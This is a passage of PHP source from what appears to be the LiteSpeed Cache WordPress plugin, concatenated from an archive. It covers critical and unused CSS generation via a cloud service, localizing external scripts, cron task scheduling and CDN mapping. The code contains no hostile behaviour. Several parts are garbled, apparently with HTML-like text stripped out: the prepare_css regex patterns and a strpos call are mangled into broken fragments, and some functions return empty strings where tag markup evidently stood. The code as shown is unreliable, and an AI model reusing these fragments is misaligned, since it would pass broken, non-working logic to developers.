} /** * Save UCSS content * * @since 4.2 * * @param string $type The content type. * @param string $css The CSS content. * @param string $queue_k The queue key. * @param bool $is_mobile Whether is mobile. * @param bool $is_webp Whether supports webp. */ private function _save_con( $type, $css, $queue_k, $is_mobile, $is_webp ) { // Add filters $css = apply_filters('litespeed_' . $type, $css, $queue_k); // Sanitize: CSS must not contain HTML tags $css = wp_strip_all_tags( $css ); self::debug2('con: ', $css); if ( '/*' === substr( $css, 0, 2 ) && '*/' === substr( $css, -2 ) ) { self::debug('❌ empty ' . $type . ' [content] ' . $css); // continue; // Save the error info too } // Write to file $filecon_md5 = md5($css); $filepath_prefix = $this->_build_filepath_prefix($type); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css'; File::save($static_file, $css, true); $url_tag = $this->_queue[$queue_k]['url_tag']; $vary = $this->_queue[$queue_k]['vary']; self::debug2("Save URL to file [file] $static_file [vary] $vary"); $this->cls('Data')->save_url($url_tag, $vary, $type, $filecon_md5, dirname($static_file), $is_mobile, $is_webp); Purge::add(strtoupper($type) . '.' . md5($queue_k)); } /** * Prepare CSS from HTML for CCSS generation only. UCSS will used combined CSS directly. * Prepare refined HTML for both CCSS and UCSS. * * @since 3.4.3 * * @param string $html The HTML content. * @param bool $is_webp Whether supports webp. * @param bool $dryrun Whether to run in dry mode. * @return array Array of CSS and HTML. */ public function prepare_css( $html, $is_webp = false, $dryrun = false ) { $css = ''; preg_match_all('#]+)/?>|]*)>([^<]+)#isU', $html, $matches, PREG_SET_ORDER); foreach ($matches as $match) { $debug_info = ''; if (strpos($match[0], 'cls('Optimizer')->load_file($attrs['href']); if (!$con) { continue; } } else { $con = ''; } } else { // Inline style $attrs = Utility::parse_attr($match[2]); if (!empty($attrs['media']) && strpos($attrs['media'], 'print') !== false) { continue; } Debug2::debug2('[CSS] Load inline CSS ' . substr($match[3], 0, 100) . '...', $attrs); $con = $match[3]; $debug_info = '__INLINE__'; } $con = Optimizer::minify_css($con); if ($is_webp && $this->cls('Media')->webp_support()) { $con = $this->cls('Media')->replace_background_webp($con); } if ( ! empty( $attrs['media'] ) && 'all' !== $attrs['media'] ) { $con = '@media ' . $attrs['media'] . '{' . $con . "}\n"; } else { $con = $con . "\n"; } $con = '/* ' . $debug_info . ' */' . $con; $css .= $con; $html = str_replace($match[0], '', $html); } return [ $css, $html ]; } /** * Filter the comment content, add quotes to selector from whitelist. Return the json * * @since 3.3 */ private function _filter_whitelist() { $whitelist = []; $list = apply_filters('litespeed_ucss_whitelist', $this->conf(self::O_OPTM_UCSS_SELECTOR_WHITELIST)); foreach ($list as $k => $v) { if (substr($v, 0, 2) === '//') { continue; } $whitelist[] = $v; } return $whitelist; } /** * Notify finished from server * * @since 5.1 */ public function notify() { $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- This is a callback from QUIC.cloud, verified by extract_msg() $post_data = $_POST; } self::debug('notify() data', $post_data); $this->_queue = $this->load_queue('ucss'); list($post_data) = $this->cls('Cloud')->extract_msg($post_data, 'ucss'); $notified_data = $post_data['data']; if (empty($notified_data) || !is_array($notified_data)) { self::debug('❌ notify exit: no notified data'); return Cloud::err('no notified data'); } // Check if its in queue or not $valid_i = 0; foreach ($notified_data as $v) { if (empty($v['request_url'])) { self::debug('❌ notify bypass: no request_url', $v); continue; } if (empty($v['queue_k'])) { self::debug('❌ notify bypass: no queue_k', $v); continue; } if (empty($this->_queue[$v['queue_k']])) { self::debug('❌ notify bypass: no this queue [q_k]' . $v['queue_k']); continue; } // Save data if (!empty($v['data_ucss'])) { $is_mobile = $this->_queue[$v['queue_k']]['is_mobile']; $is_webp = $this->_queue[$v['queue_k']]['is_webp']; $this->_save_con('ucss', $v['data_ucss'], $v['queue_k'], $is_mobile, $is_webp); ++$valid_i; } unset($this->_queue[$v['queue_k']]); self::debug('notify data handled, unset queue [q_k] ' . $v['queue_k']); } $this->save_queue('ucss', $this->_queue); self::debug('notified'); return Cloud::ok( [ 'count' => $valid_i ] ); } /** * Handle all request actions from main cls * * @since 2.3 * @access public */ public function handler() { $type = Router::verify_type(); switch ($type) { case self::TYPE_GEN: self::cron(true); break; case self::TYPE_CLEAR_Q: $this->clear_q('ucss'); break; default: break; } Admin::redirect(); } } localization.cls.php000064400000010033152077520270010531 0ustar00conf( self::O_OPTM_LOCALIZE ) ) { exit( 'Not supported' ); } $match = false; $domains = $this->conf( self::O_OPTM_LOCALIZE_DOMAINS ); foreach ( $domains as $v ) { if ( ! $v || 0 === strpos( $v, '#' ) ) { continue; } $type = 'js'; $domain = $v; // Try to parse space split value if ( strpos( $v, ' ' ) ) { $v = explode( ' ', $v ); if ( ! empty( $v[1] ) ) { $type = strtolower( $v[0] ); $domain = $v[1]; } } if ( 0 !== strpos( $domain, 'https://' ) ) { continue; } if ( 'js' !== $type ) { continue; } if ( $url !== $domain ) { continue; } $match = true; break; } if ( ! $match ) { exit( 'Not supported2' ); } header( 'Content-Type: application/javascript' ); // Generate $this->_maybe_mk_cache_folder( 'localres' ); $file = $this->_realpath( $url ); self::debug( 'localize [url] ' . $url ); $response = wp_safe_remote_get( $url, [ 'timeout' => 180, 'stream' => true, 'filename' => $file, ] ); // Parse response data if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); if ( file_exists( $file ) ) { wp_delete_file( $file ); } self::debug( 'failed to get: ' . $error_message ); wp_safe_redirect( $url ); exit(); } $url = $this->_rewrite( $url ); wp_safe_redirect( $url ); exit(); } /** * Get the final URL of local avatar * * @since 4.5 * * @param string $url Original external URL. * @return string Rewritten local URL. */ private function _rewrite( $url ) { return LITESPEED_STATIC_URL . '/localres/' . $this->_filepath( $url ); } /** * Generate realpath of the cache file * * @since 4.5 * @access private * * @param string $url Original external URL. * @return string Absolute file path. */ private function _realpath( $url ) { return LITESPEED_STATIC_DIR . '/localres/' . $this->_filepath( $url ); } /** * Get filepath * * @since 4.5 * * @param string $url Original external URL. * @return string Relative file path. */ private function _filepath( $url ) { $filename = md5( $url ) . '.js'; if ( is_multisite() ) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Localize JS/Fonts * * @since 3.3 * @access public * * @param string $content Page HTML content. * @return string Modified content with localized URLs. */ public function finalize( $content ) { if ( is_admin() ) { return $content; } if ( ! $this->conf( self::O_OPTM_LOCALIZE ) ) { return $content; } $domains = $this->conf( self::O_OPTM_LOCALIZE_DOMAINS ); if ( ! $domains ) { return $content; } foreach ( $domains as $v ) { if ( ! $v || 0 === strpos( $v, '#' ) ) { continue; } $type = 'js'; $domain = $v; // Try to parse space split value if ( strpos( $v, ' ' ) ) { $v = explode( ' ', $v ); if ( ! empty( $v[1] ) ) { $type = strtolower( $v[0] ); $domain = $v[1]; } } if ( 0 !== strpos( $domain, 'https://' ) ) { continue; } if ( 'js' !== $type ) { continue; } $content = str_replace( $domain, LITESPEED_STATIC_URL . '/localres/' . base64_encode( $domain ), $content ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode } return $content; } } css.cls.php000064400000043430152077520270006640 0ustar00_summary = self::get_summary(); add_filter( 'litespeed_ccss_whitelist', [ $this->cls( 'Data' ), 'load_ccss_whitelist' ] ); } /** * HTML lazyload CSS. * * @since 4.0 * @return string */ public function prepare_html_lazy() { return ''; } /** * Output critical CSS. * * @since 1.3 * @access public * @return string|null */ public function prepare_ccss() { // Get critical css for current page // Note: need to consider mobile $rules = $this->_ccss(); if ( ! $rules ) { return null; } $error_tag = ''; if ( substr( $rules, 0, 2 ) === '/*' && substr( $rules, -2 ) === '*/' ) { Core::comment( 'QUIC.cloud CCSS bypassed due to generation error ❌' ); $error_tag = ' data-error="failed to generate"'; } // Append default critical css $rules .= $this->conf( self::O_OPTM_CCSS_CON ); return ''; } /** * Generate CCSS url tag. * * @since 4.0 * @param string $request_url Current request URL. * @return string */ private function _gen_ccss_file_tag( $request_url ) { if ( is_404() ) { return '404'; } if ( $this->conf( self::O_OPTM_CCSS_PER_URL ) ) { return $request_url; } $sep_uri = $this->conf( self::O_OPTM_CCSS_SEP_URI ); $hit = false; if ( $sep_uri ) { $hit = Utility::str_hit_array( $request_url, $sep_uri ); } if ( $sep_uri && $hit ) { Debug2::debug( '[CCSS] Separate CCSS due to separate URI setting: ' . $hit ); return $request_url; } $pt = Utility::page_type(); $sep_pt = $this->conf( self::O_OPTM_CCSS_SEP_POSTTYPE ); if ( in_array( $pt, $sep_pt, true ) ) { Debug2::debug( '[CCSS] Separate CCSS due to posttype setting: ' . $pt ); return $request_url; } // Per posttype return $pt; } /** * The critical css content of the current page. * * @since 2.3 * @return string|null */ private function _ccss() { global $wp; // get current request url $permalink_structure = get_option( 'permalink_structure' ); if ( ! empty( $permalink_structure ) ) { $request_url = trailingslashit( home_url( $wp->request ) ); } else { $qs_add = $wp->query_string ? '?' . (string) $wp->query_string : '' ; $request_url = home_url( $wp->request ) . $qs_add; } $filepath_prefix = $this->_build_filepath_prefix( 'ccss' ); $url_tag = $this->_gen_ccss_file_tag( $request_url ); $vary = $this->cls( 'Vary' )->finalize_full_varies(); $filename = $this->cls( 'Data' )->load_url_file( $url_tag, $vary, 'ccss' ); if ( $filename ) { $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filename . '.css'; if ( file_exists( $static_file ) ) { Debug2::debug2( '[CSS] existing ccss ' . $static_file ); Core::comment( 'QUIC.cloud CCSS loaded ✅ ' . $filepath_prefix . $filename . '.css' ); return File::read( $static_file ); } } $uid = get_current_user_id(); $ua = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; // Store it to prepare for cron Core::comment( 'QUIC.cloud CCSS in queue' ); $this->_queue = $this->load_queue( 'ccss' ); if ( count( $this->_queue ) > 500 ) { self::debug( 'CCSS Queue is full - 500' ); return null; } $queue_k = ( strlen( $vary ) > 32 ? md5( $vary ) : $vary ) . ' ' . $url_tag; $this->_queue[ $queue_k ] = [ 'url' => apply_filters( 'litespeed_ccss_url', $request_url ), 'user_agent' => substr( $ua, 0, 200 ), 'is_mobile' => $this->_separate_mobile(), 'is_webp' => $this->cls( 'Media' )->webp_support() ? 1 : 0, 'uid' => $uid, 'vary' => $vary, 'url_tag' => $url_tag, ]; // Current UA will be used to request $this->save_queue( 'ccss', $this->_queue ); self::debug( 'Added queue_ccss [url_tag] ' . $url_tag . ' [UA] ' . $ua . ' [vary] ' . $vary . ' [uid] ' . $uid ); // Prepare cache tag for later purge Tag::add( 'CCSS.' . md5( $queue_k ) ); return null; } /** * Cron ccss generation. * * @since 2.3 * @access private * * @param bool $should_continue Continue processing multiple items. * @return mixed */ public static function cron_ccss( $should_continue = false ) { $_instance = self::cls(); return $_instance->_cron_handler( 'ccss', $should_continue ); } /** * Handle UCSS/CCSS cron. * * @since 4.2 * * @param string $type Job type: 'ccss' or 'ucss'. * @param bool $should_continue Continue processing multiple items. * @return void */ private function _cron_handler( $type, $should_continue ) { $this->_queue = $this->load_queue( $type ); if ( empty( $this->_queue ) ) { return; } $type_tag = strtoupper( $type ); // For cron, need to check request interval too if ( ! $should_continue ) { if ( ! empty( $this->_summary[ 'curr_request_' . $type ] ) && time() - (int) $this->_summary[ 'curr_request_' . $type ] < 300 && ! $this->conf( self::O_DEBUG ) ) { Debug2::debug( '[' . $type_tag . '] Last request not done' ); return; } } $i = 0; foreach ( $this->_queue as $k => $v ) { if ( ! empty( $v['_status'] ) ) { continue; } Debug2::debug( '[' . $type_tag . '] cron job [tag] ' . $k . ' [url] ' . $v['url'] . ( $v['is_mobile'] ? ' 📱 ' : '' ) . ' [UA] ' . $v['user_agent'] ); if ( 'ccss' === $type && empty( $v['url_tag'] ) ) { unset( $this->_queue[ $k ] ); $this->save_queue( $type, $this->_queue ); Debug2::debug( '[CCSS] wrong queue_ccss format' ); continue; } if ( ! isset( $v['is_webp'] ) ) { $v['is_webp'] = false; } ++$i; $res = $this->_send_req( $v['url'], $k, $v['uid'], $v['user_agent'], $v['vary'], $v['url_tag'], $type, $v['is_mobile'], $v['is_webp'] ); if ( ! $res ) { // Status is wrong, drop this this->_queue unset( $this->_queue[ $k ] ); $this->save_queue( $type, $this->_queue ); if ( ! $should_continue ) { return; } if ( $i > 3 ) { GUI::print_loading( count( $this->_queue ), $type_tag ); return Router::self_redirect( Router::ACTION_CSS, self::TYPE_GEN_CCSS ); } continue; } // Exit queue if out of quota or service is hot if ( 'out_of_quota' === $res || 'svc_hot' === $res ) { return; } $this->_queue[ $k ]['_status'] = 'requested'; $this->save_queue( $type, $this->_queue ); // only request first one if ( ! $should_continue ) { return; } if ( $i > 3 ) { GUI::print_loading( count( $this->_queue ), $type_tag ); return Router::self_redirect( Router::ACTION_CSS, self::TYPE_GEN_CCSS ); } } } /** * Send to QC API to generate CCSS/UCSS. * * @since 2.3 * @access private * * @param string $request_url Request URL. * @param string $queue_k Queue key. * @param int $uid WP User ID. * @param string $user_agent User agent string. * @param string $vary Vary string. * @param string $url_tag URL tag. * @param string $type Type: 'ccss' or 'ucss'. * @param bool $is_mobile Is mobile. * @param bool $is_webp Has webp support. * @return bool|string True on success, 'out_of_quota' / 'svc_hot' on special cases, false on failure. */ private function _send_req( $request_url, $queue_k, $uid, $user_agent, $vary, $url_tag, $type, $is_mobile, $is_webp ) { // Check if has credit to push or not $err = false; $allowance = $this->cls( 'Cloud' )->allowance( Cloud::SVC_CCSS, $err ); if ( ! $allowance ) { Debug2::debug( '[CCSS] ❌ No credit: ' . $err ); $err && Admin_Display::error( Error::msg( $err ) ); return 'out_of_quota'; } set_time_limit( 120 ); // Update css request status $this->_summary[ 'curr_request_' . $type ] = time(); self::save_summary(); // Gather guest HTML to send $html = $this->prepare_html( $request_url, $user_agent, $uid ); if ( ! $html ) { return false; } // Parse HTML to gather all CSS content before requesting list( $css, $html ) = $this->prepare_css( $html, $is_webp ); if ( ! $css ) { $type_tag = strtoupper( $type ); Debug2::debug( '[' . $type_tag . '] ❌ No combined css' ); return false; } // Generate critical css $data = [ 'url' => $request_url, 'queue_k' => $queue_k, 'user_agent' => $user_agent, 'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet 'is_webp' => $is_webp ? 1 : 0, 'html' => $html, 'css' => $css, ]; if ( ! isset( $this->_ccss_whitelist ) ) { $this->_ccss_whitelist = $this->_filter_whitelist(); } $data['whitelist'] = $this->_ccss_whitelist; self::debug( 'Generating: ', $data ); $json = Cloud::post( Cloud::SVC_CCSS, $data, 30 ); if ( ! is_array( $json ) ) { return $json; } // Old version compatibility if ( empty( $json['status'] ) ) { if ( ! empty( $json[ $type ] ) ) { $this->_save_con( $type, $json[ $type ], $queue_k, $is_mobile, $is_webp ); } // Delete the row return false; } // Unknown status, remove this line if ( 'queued' !== $json['status'] ) { return false; } // Save summary data $this->_summary[ 'last_spent_' . $type ] = time() - (int) $this->_summary[ 'curr_request_' . $type ]; $this->_summary[ 'last_request_' . $type ] = $this->_summary[ 'curr_request_' . $type ]; $this->_summary[ 'curr_request_' . $type ] = 0; self::save_summary(); return true; } /** * Save CCSS/UCSS content. * * @since 4.2 * * @param string $type Type: 'ccss' or 'ucss'. * @param string $css CSS content. * @param string $queue_k Queue key. * @param bool $mobile Is mobile. * @param bool $webp Has webp support. * @return void */ private function _save_con( $type, $css, $queue_k, $mobile, $webp ) { // Add filters $css = apply_filters( 'litespeed_' . $type, $css, $queue_k ); // Sanitize: CSS must not contain HTML tags $css = wp_strip_all_tags( $css ); Debug2::debug2( '[CSS] con: ' . $css ); if ( substr( $css, 0, 2 ) === '/*' && substr( $css, -2 ) === '*/' ) { self::debug( '❌ empty ' . $type . ' [content] ' . $css ); // continue; // Save the error info too } // Write to file $filecon_md5 = md5( $css ); $filepath_prefix = $this->_build_filepath_prefix( $type ); $static_file = LITESPEED_STATIC_DIR . $filepath_prefix . $filecon_md5 . '.css'; File::save( $static_file, $css, true ); $url_tag = $this->_queue[ $queue_k ]['url_tag']; $vary = $this->_queue[ $queue_k ]['vary']; Debug2::debug2( "[CSS] Save URL to file [file] $static_file [vary] $vary" ); $this->cls( 'Data' )->save_url( $url_tag, $vary, $type, $filecon_md5, dirname( $static_file ), $mobile, $webp ); Purge::add( strtoupper( $type ) . '.' . md5( $queue_k ) ); } /** * Play for fun. * * @since 3.4.3 * * @param string $request_url URL to test. * @return void */ public function test_url( $request_url ) { $user_agent = isset( $_SERVER['HTTP_USER_AGENT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ) : ''; $html = $this->prepare_html( $request_url, $user_agent ); list( $css, $html ) = $this->prepare_css( $html, true, true ); $data = [ 'url' => $request_url, 'ccss_type' => 'test', 'user_agent' => $user_agent, 'is_mobile' => 0, 'html' => $html, 'css' => $css, 'type' => 'CCSS', ]; $json = Cloud::post( Cloud::SVC_CCSS, $data, 180 ); Debug2::debug2( '[CSS][test_url] response', $json ); } /** * Prepare HTML from URL. * * @since 3.4.3 * * @param string $request_url URL to fetch. * @param string $user_agent User agent to use. * @param int|bool $uid Optional user ID for simulation. * @return string|false */ public function prepare_html( $request_url, $user_agent, $uid = false ) { $html = $this->cls( 'Crawler' )->self_curl( add_query_arg( 'LSCWP_CTRL', 'before_optm', $request_url ), $user_agent, $uid ); Debug2::debug2( '[CSS] self_curl result....', $html ); if ( ! $html ) { return false; } $html = $this->cls( 'Optimizer' )->html_min( $html, true ); // Drop $html = preg_replace( '##isU', '', $html ); return $html; } /** * Prepare CSS from HTML for CCSS generation only. UCSS will use combined CSS directly. * Prepare refined HTML for both CCSS and UCSS. * * @since 3.4.3 * * @param string $html HTML content. * @param bool $is_webp Convert backgrounds to WebP when supported. * @param bool $dryrun If true, do not fetch external CSS files. * @return array{0:string,1:string} [combined CSS, refined HTML] */ public function prepare_css( $html, $is_webp = false, $dryrun = false ) { $css = ''; preg_match_all( '#]+)/?>|]*)>([^<]+)#isU', $html, $matches, PREG_SET_ORDER ); foreach ( $matches as $match ) { $debug_info = ''; if ( strpos( $match[0], 'cls( 'Optimizer' )->load_file( $attrs['href'] ); if ( ! $con ) { continue; } } else { $con = ''; } } else { // Inline style $attrs = Utility::parse_attr( $match[2] ); if ( ! empty( $attrs['media'] ) && false !== strpos( $attrs['media'], 'print' ) ) { continue; } Debug2::debug2( '[CSS] Load inline CSS ' . substr( $match[3], 0, 100 ) . '...', $attrs ); $con = $match[3]; $debug_info = '__INLINE__'; } $con = Optimizer::minify_css( $con ); if ( $is_webp && $this->cls( 'Media' )->webp_support() ) { $con = $this->cls( 'Media' )->replace_background_webp( $con ); } if ( ! empty( $attrs['media'] ) && 'all' !== $attrs['media'] ) { $con = '@media ' . $attrs['media'] . '{' . $con . "}\n"; } else { $con = $con . "\n"; } $con = '/* ' . $debug_info . ' */' . $con; $css .= $con; $html = str_replace( $match[0], '', $html ); } return [ $css, $html ]; } /** * Filter the comment content, add quotes to selector from whitelist. Return the json. * * @since 7.1 * @return array */ private function _filter_whitelist() { $whitelist = []; $list = apply_filters( 'litespeed_ccss_whitelist', $this->conf( self::O_OPTM_CCSS_SELECTOR_WHITELIST ) ); foreach ( $list as $v ) { if ( substr( $v, 0, 2 ) === '//' ) { continue; } $whitelist[] = $v; } return $whitelist; } /** * Notify finished from server. * * @since 7.1 * @return array */ public function notify() { // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = \json_decode( file_get_contents( 'php://input' ), true ); if ( is_null( $post_data ) ) { // Fallback for form-encoded payloads // phpcs:ignore WordPress.Security.NonceVerification.Missing $post_data = $_POST; } self::debug( 'notify() data', $post_data ); $this->_queue = $this->load_queue( 'ccss' ); list( $post_data ) = $this->cls( 'Cloud' )->extract_msg( $post_data, 'ccss' ); $notified_data = $post_data['data']; if ( empty( $notified_data ) || ! is_array( $notified_data ) ) { self::debug( '❌ notify exit: no notified data' ); return Cloud::err( 'no notified data' ); } // Check if its in queue or not $valid_i = 0; foreach ( $notified_data as $v ) { if ( empty( $v['request_url'] ) ) { self::debug( '❌ notify bypass: no request_url', $v ); continue; } if ( empty( $v['queue_k'] ) ) { self::debug( '❌ notify bypass: no queue_k', $v ); continue; } if ( empty( $this->_queue[ $v['queue_k'] ] ) ) { self::debug( '❌ notify bypass: no this queue [q_k]' . $v['queue_k'] ); continue; } // Save data if ( ! empty( $v['data_ccss'] ) ) { $is_mobile = $this->_queue[ $v['queue_k'] ]['is_mobile']; $is_webp = $this->_queue[ $v['queue_k'] ]['is_webp']; $this->_save_con( 'ccss', $v['data_ccss'], $v['queue_k'], $is_mobile, $is_webp ); ++$valid_i; } unset( $this->_queue[ $v['queue_k'] ] ); self::debug( 'notify data handled, unset queue [q_k] ' . $v['queue_k'] ); } $this->save_queue( 'ccss', $this->_queue ); self::debug( 'notified' ); return Cloud::ok( [ 'count' => $valid_i ] ); } /** * Handle all request actions from main cls. * * @since 2.3 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GEN_CCSS: self::cron_ccss( true ); break; case self::TYPE_CLEAR_Q_CCSS: $this->clear_q( 'ccss' ); break; default: break; } Admin::redirect(); } } task.cls.php000064400000016063152077520270007014 0ustar00 cron hook registration. * * @var array */ private static $_triggers = [ Base::O_IMG_OPTM_CRON => [ 'name' => 'litespeed_task_imgoptm_pull', 'hook' => 'LiteSpeed\Img_Optm::start_async_cron', ], // always fetch immediately Base::O_OPTM_CSS_ASYNC => [ 'name' => 'litespeed_task_ccss', 'hook' => 'LiteSpeed\CSS::cron_ccss', ], Base::O_OPTM_UCSS => [ 'name' => 'litespeed_task_ucss', 'hook' => 'LiteSpeed\UCSS::cron', ], Base::O_MEDIA_VPI_CRON => [ 'name' => 'litespeed_task_vpi', 'hook' => 'LiteSpeed\VPI::cron', ], Base::O_MEDIA_PLACEHOLDER_RESP_ASYNC => [ 'name' => 'litespeed_task_lqip', 'hook' => 'LiteSpeed\Placeholder::cron', ], Base::O_DISCUSS_AVATAR_CRON => [ 'name' => 'litespeed_task_avatar', 'hook' => 'LiteSpeed\Avatar::cron', ], Base::O_IMG_OPTM_AUTO => [ 'name' => 'litespeed_task_imgoptm_req', 'hook' => 'LiteSpeed\Img_Optm::cron_auto_request', ], Base::O_GUEST => [ 'name' => 'litespeed_task_guest_sync', 'hook' => 'LiteSpeed\Guest::cron', ], // Daily sync Guest Mode IP/UA lists Base::O_CRAWLER => [ 'name' => 'litespeed_task_crawler', 'hook' => 'LiteSpeed\Crawler::start_async_cron', ], // Set crawler to last one to use above results ]; /** * Options allowed to run for guest optimization. * * @var array */ private static $_guest_options = [ Base::O_OPTM_CSS_ASYNC, Base::O_OPTM_UCSS, Base::O_MEDIA_VPI ]; /** * Schedule id for crawler. * * @var string */ const FILTER_CRAWLER = 'litespeed_crawl_filter'; /** * Schedule id for general tasks. * * @var string */ const FILTER = 'litespeed_filter'; /** * Keep all tasks in cron. * * @since 3.0 * @access public * @return void */ public function init() { self::debug2( 'Init' ); add_filter( 'cron_schedules', [ $this, 'lscache_cron_filter' ] ); $guest_optm = $this->conf( Base::O_GUEST ) && $this->conf( Base::O_GUEST_OPTM ); foreach ( self::$_triggers as $id => $trigger ) { if ( Base::O_IMG_OPTM_CRON === $id ) { if ( ! Img_Optm::need_pull() ) { continue; } } elseif ( ! $this->conf( $id ) ) { if ( ! $guest_optm || ! in_array( $id, self::$_guest_options, true ) ) { continue; } } // Special check for crawler. if ( Base::O_CRAWLER === $id ) { if ( ! Router::can_crawl() ) { continue; } add_filter( 'cron_schedules', [ $this, 'lscache_cron_filter_crawler' ] ); // phpcs:ignore WordPress.WP.CronInterval.ChangeDetected } if ( ! wp_next_scheduled( $trigger['name'] ) ) { self::debug( 'Cron hook register [name] ' . $trigger['name'] ); // Determine schedule: crawler uses its own, guest uses daily, others use 15min if ( Base::O_CRAWLER === $id ) { $schedule = self::FILTER_CRAWLER; } elseif ( Base::O_GUEST === $id ) { $schedule = 'daily'; } else { $schedule = self::FILTER; } wp_schedule_event( time(), $schedule, $trigger['name'] ); } add_action( $trigger['name'], $trigger['hook'] ); } } /** * Handle all async noabort requests. * * @since 5.5 * @return void */ public static function async_litespeed_handler() { $hash_data = self::get_option( 'async_call-hash', [] ); if ( ! $hash_data || ! is_array( $hash_data ) || empty( $hash_data['hash'] ) || empty( $hash_data['ts'] ) ) { self::debug( 'async_litespeed_handler no hash data', $hash_data ); return; } $nonce = isset( $_GET['nonce'] ) ? sanitize_text_field( wp_unslash( $_GET['nonce'] ) ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( 120 < time() - (int) $hash_data['ts'] || '' === $nonce || $nonce !== $hash_data['hash'] ) { self::debug( 'async_litespeed_handler nonce mismatch' ); return; } self::delete_option( 'async_call-hash' ); $type = Router::verify_type(); self::debug( 'type=' . $type ); // Don't lock up other requests while processing. session_write_close(); switch ( $type ) { case 'crawler': Crawler::async_handler(); break; case 'crawler_force': Crawler::async_handler( true ); break; case 'imgoptm': Img_Optm::async_handler(); break; case 'imgoptm_force': Img_Optm::async_handler( true ); break; default: break; } } /** * Async caller wrapper func. * * @since 5.5 * * @param string $type Async operation type. * @return void */ public static function async_call( $type ) { $hash = Str::rrand( 32 ); self::update_option( 'async_call-hash', [ 'hash' => $hash, 'ts' => time(), ] ); $args = [ 'timeout' => 0.01, 'blocking' => false, 'sslverify' => false, // 'cookies' => $_COOKIE, ]; $qs = [ 'action' => 'async_litespeed', 'nonce' => $hash, Router::TYPE => $type, ]; $url = add_query_arg( $qs, admin_url( 'admin-ajax.php' ) ); self::debug( 'async call to ' . $url ); wp_safe_remote_post( esc_url_raw( $url ), $args ); } /** * Clean all potential existing crons. * * @since 3.0 * @access public * @return void */ public static function destroy() { Utility::compatibility(); array_map( 'wp_clear_scheduled_hook', array_column( self::$_triggers, 'name' ) ); } /** * Try to clean the crons if disabled. * * @since 3.0 * @access public * * @param string $id Option id of cron trigger. * @return void */ public function try_clean( $id ) { if ( $id && ! empty( self::$_triggers[ $id ] ) ) { if ( ! $this->conf( $id ) || ( Base::O_CRAWLER === $id && ! Router::can_crawl() ) ) { self::debug( 'Cron clear [id] ' . $id . ' [hook] ' . self::$_triggers[ $id ]['name'] ); wp_clear_scheduled_hook( self::$_triggers[ $id ]['name'] ); } return; } self::debug( '❌ Unknown cron [id] ' . $id ); } /** * Register cron interval for general tasks. * * @since 1.6.1 * @access public * * @param array $schedules Existing schedules. * @return array */ public function lscache_cron_filter( $schedules ) { if ( ! array_key_exists( self::FILTER, $schedules ) ) { $schedules[ self::FILTER ] = [ 'interval' => 900, 'display' => __( 'Every 15 Minutes', 'litespeed-cache' ), ]; } return $schedules; } /** * Register cron interval for crawler. * * @since 1.1.0 * @access public * * @param array $schedules Existing schedules. * @return array */ public function lscache_cron_filter_crawler( $schedules ) { $crawler_run_interval = defined( 'LITESPEED_CRAWLER_RUN_INTERVAL' ) ? (int) constant( 'LITESPEED_CRAWLER_RUN_INTERVAL' ) : 600; if ( ! array_key_exists( self::FILTER_CRAWLER, $schedules ) ) { $schedules[ self::FILTER_CRAWLER ] = [ 'interval' => $crawler_run_interval, 'display' => __( 'LiteSpeed Crawler Cron', 'litespeed-cache' ), ]; } return $schedules; } } cdn.cls.php000064400000037654152077520270006627 0ustar00 */ private $_cfg_cdn_mapping = []; /** * List of URL substrings/regex used to exclude items from CDN. * * @var string[] */ private $_cfg_cdn_exclude; /** * Hosts used by CDN mappings for quick membership checks. * * @var string[] */ private $cdn_mapping_hosts = []; /** * Initialize CDN integration and register filters if enabled. * * @since 1.2.3 * @return void */ public function init() { self::debug2( 'init' ); if ( defined( self::BYPASS ) ) { self::debug2( 'CDN bypass' ); return; } if ( ! Router::can_cdn() ) { if ( ! defined( self::BYPASS ) ) { define( self::BYPASS, true ); } return; } $this->_cfg_cdn = $this->conf( Base::O_CDN ); if ( ! $this->_cfg_cdn ) { if ( ! defined( self::BYPASS ) ) { define( self::BYPASS, true ); } return; } $this->_cfg_url_ori = $this->conf( Base::O_CDN_ORI ); // Parse cdn mapping data to array( 'filetype' => 'url' ) $mapping_to_check = [ Base::CDN_MAPPING_INC_IMG, Base::CDN_MAPPING_INC_CSS, Base::CDN_MAPPING_INC_JS ]; foreach ( $this->conf( Base::O_CDN_MAPPING ) as $v ) { if ( ! $v[ Base::CDN_MAPPING_URL ] ) { continue; } $this_url = $v[ Base::CDN_MAPPING_URL ]; $this_host = wp_parse_url( $this_url, PHP_URL_HOST ); // Check img/css/js foreach ( $mapping_to_check as $to_check ) { if ( $v[ $to_check ] ) { self::debug2( 'mapping ' . $to_check . ' -> ' . $this_url ); // If filetype to url is one to many, make url be an array $this->_append_cdn_mapping( $to_check, $this_url ); if ( ! in_array( $this_host, $this->cdn_mapping_hosts, true ) ) { $this->cdn_mapping_hosts[] = $this_host; } } } // Check file types if ( $v[ Base::CDN_MAPPING_FILETYPE ] ) { foreach ( $v[ Base::CDN_MAPPING_FILETYPE ] as $v2 ) { $this->_cfg_cdn_mapping[ Base::CDN_MAPPING_FILETYPE ] = true; // If filetype to url is one to many, make url be an array $this->_append_cdn_mapping( $v2, $this_url ); if ( ! in_array( $this_host, $this->cdn_mapping_hosts, true ) ) { $this->cdn_mapping_hosts[] = $this_host; } } self::debug2( 'mapping ' . implode( ',', $v[ Base::CDN_MAPPING_FILETYPE ] ) . ' -> ' . $this_url ); } } if ( ! $this->_cfg_url_ori || ! $this->_cfg_cdn_mapping ) { if ( ! defined( self::BYPASS ) ) { define( self::BYPASS, true ); } return; } $this->_cfg_ori_dir = $this->conf( Base::O_CDN_ORI_DIR ); // In case user customized upload path if ( defined( 'UPLOADS' ) ) { 